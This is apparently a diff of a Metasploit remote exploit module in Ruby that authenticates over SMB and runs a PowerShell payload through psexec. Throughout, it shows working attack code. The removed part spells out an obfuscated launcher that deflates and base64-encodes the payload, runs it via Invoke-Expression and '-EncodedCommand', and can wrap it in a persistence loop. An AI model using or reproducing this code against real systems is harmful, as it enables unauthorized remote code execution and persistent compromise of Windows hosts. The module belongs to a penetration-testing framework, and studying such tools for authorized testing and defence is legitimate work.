|
1 | 1 | # -*- coding: binary -*-
|
| 2 | +#!/usr/bin/env ruby |
| 3 | + |
2 | 4 | require 'msf/core'
|
3 | 5 |
|
4 | 6 | class Metasploit3 < Msf::Exploit::Remote
|
5 | 7 | Rank = ManualRanking
|
6 | 8 |
|
| 9 | + # Exploit mixins should be called first |
7 | 10 | include Msf::Exploit::Remote::DCERPC
|
8 | 11 | include Msf::Exploit::Remote::SMB
|
9 | 12 | include Msf::Exploit::Remote::SMB::Authenticated
|
| 13 | + include Msf::Exploit::Powershell |
10 | 14 | include Msf::Auxiliary::Report
|
11 | 15 | include Msf::Exploit::EXE
|
12 | 16 |
|
13 |
| - |
14 | 17 | # Aliases for common classes
|
15 | 18 | SIMPLE = Rex::Proto::SMB::SimpleClient
|
16 | 19 | XCEPT = Rex::Proto::SMB::Exceptions
|
@@ -71,31 +74,32 @@ def initialize(info = {})
|
71 | 74 | 'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
72 | 75 | false
|
73 | 76 | ]),
|
| 77 | + OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]), |
74 | 78 | ], self.class)
|
75 | 79 | end
|
76 | 80 |
|
77 | 81 |
|
78 |
| - def exploit |
79 |
| - # Build the script |
80 |
| - command = prep_psh_payload |
| 82 | + def exploit |
| 83 | + command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD']) |
81 | 84 |
|
82 |
| - # Try and authenticate with given credentials |
| 85 | + #Try and authenticate with given credentials |
83 | 86 | if connect
|
84 |
| - begin |
| 87 | + begin |
85 | 88 | smb_login
|
86 | 89 | rescue StandardError => autherror
|
87 | 90 | print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
88 | 91 | return
|
89 |
| - end |
90 |
| - # Execute the powershell command |
91 |
| - begin |
92 |
| - print_status("#{peer} - Executing the payload...") |
93 |
| - return psexec(command) |
94 |
| - rescue StandardError => exec_command_error |
95 |
| - print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") |
96 |
| - return false |
97 |
| - end |
98 |
| - disconnect |
| 92 | + end |
| 93 | + # Execute the powershell command |
| 94 | + begin |
| 95 | + print_status("#{peer} - Executing the payload...") |
| 96 | + #vprint_good(command) |
| 97 | + return psexec(command) |
| 98 | + rescue StandardError => exec_command_error |
| 99 | + print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") |
| 100 | + return false |
| 101 | + end |
| 102 | + disconnect |
99 | 103 | end
|
100 | 104 | end
|
101 | 105 |
|
@@ -220,56 +224,8 @@ def psexec(command)
|
220 | 224 | return true
|
221 | 225 | end
|
222 | 226 |
|
223 |
| - # Return a zlib compressed powershell script |
224 |
| - def compress_script(script_in) |
225 |
| - |
226 |
| - # Compress using the Deflate algorithm |
227 |
| - compressed_stream = ::Zlib::Deflate.deflate(script_in, |
228 |
| - ::Zlib::BEST_COMPRESSION) |
229 |
| - |
230 |
| - # Base64 encode the compressed file contents |
231 |
| - encoded_stream = Rex::Text.encode_base64(compressed_stream) |
232 |
| - |
233 |
| - # Build the powershell expression |
234 |
| - # Decode base64 encoded command and create a stream object |
235 |
| - psh_expression = "$stream = New-Object IO.MemoryStream(," |
236 |
| - psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" |
237 |
| - # Read & delete the first two bytes due to incompatibility with MS |
238 |
| - psh_expression += "$stream.ReadByte()|Out-Null;" |
239 |
| - psh_expression += "$stream.ReadByte()|Out-Null;" |
240 |
| - # Uncompress and invoke the expression (execute) |
241 |
| - psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" |
242 |
| - psh_expression += "$(New-Object IO.Compression.DeflateStream(" |
243 |
| - psh_expression += "$stream," |
244 |
| - psh_expression += "[IO.Compression.CompressionMode]::Decompress))," |
245 |
| - psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" |
246 |
| - |
247 |
| - # Convert expression to unicode |
248 |
| - unicode_expression = Rex::Text.to_unicode(psh_expression) |
249 |
| - |
250 |
| - # Base64 encode the unicode expression |
251 |
| - encoded_expression = Rex::Text.encode_base64(unicode_expression) |
252 |
| - |
253 |
| - return encoded_expression |
254 |
| - end |
255 |
| - |
256 | 227 | def peer
|
257 | 228 | return "#{rhost}:#{rport}"
|
258 | 229 | end
|
259 | 230 |
|
260 |
| - # Return a command-line payload configured per datastore |
261 |
| - def prep_psh_payload |
262 |
| - psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.raw) |
263 |
| - # Run our payload in a while loop |
264 |
| - if datastore['PERSIST'] |
265 |
| - fun_name = Rex::Text.rand_text_alpha(rand(2)+2) |
266 |
| - sleep_time = rand(5)+5 |
267 |
| - psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}" |
268 |
| - end |
269 |
| - # Convert to base64 for -encodedcommand execution |
270 |
| - psh_payload = compress_script(psh_payload) |
271 |
| - # Determine appropriate architecture |
272 |
| - ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' |
273 |
| - command = "%COMSPEC% /B /C start #{ps_bin} -EncodedCommand #{psh_payload}" |
274 |
| - end |
275 | 231 | end
|
0 commit comments